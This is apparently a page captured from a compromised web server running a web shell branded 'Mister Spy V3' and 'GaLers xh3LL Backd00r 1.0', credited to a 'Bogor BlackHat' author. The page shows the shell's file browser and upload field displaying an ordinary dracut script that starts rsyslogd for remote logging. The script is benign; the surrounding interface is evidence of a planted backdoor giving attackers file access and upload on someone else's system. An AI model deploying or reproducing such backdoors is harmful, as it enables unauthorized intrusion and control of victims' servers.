Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /lib/dracut/modules.d/98syslog/
Upload File :
Current File : //lib/dracut/modules.d/98syslog/rsyslogd-start.sh

#!/usr/bin/sh

# Triggered by initqueue/online and starts rsyslogd with bootparameters

type getarg > /dev/null 2>&1 || . /lib/dracut-lib.sh

# prevent starting again if already running
if [ -f /var/run/syslogd.pid ]; then
    read -r pid < /var/run/syslogd.pid
    kill -0 "$pid" && exit 0
fi

rsyslog_config() {
    local server=$1
    shift
    local syslog_template=$1
    shift
    local filters=$*
    local filter=

    cat "$syslog_template"

    (
        # disable shell expansion / globbing
        # since filters contain such characters
        set -f
        for filter in $filters; do
            echo "${filter} @${server}"
        done
    )
    #echo "*.* /tmp/syslog"
}

[ -f /tmp/syslog.type ] && read -r type < /tmp/syslog.type
[ -f /tmp/syslog.server ] && read -r server < /tmp/syslog.server
[ -f /tmp/syslog.filters ] && read -r filters < /tmp/syslog.filters
[ -z "$filters" ] && filters="kern.*"
[ -f /tmp/syslog.conf ] && read -r conf < /tmp/syslog.conf
[ -z "$conf" ] && conf="/etc/rsyslog.conf" && echo "$conf" > /tmp/syslog.conf

if [ "$type" = "rsyslogd" ]; then
    template=/etc/templates/rsyslog.conf
    if [ -n "$server" ]; then
        rsyslog_config "$server" "$template" "$filters" > $conf
        rsyslogd -c3
    fi
fi

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat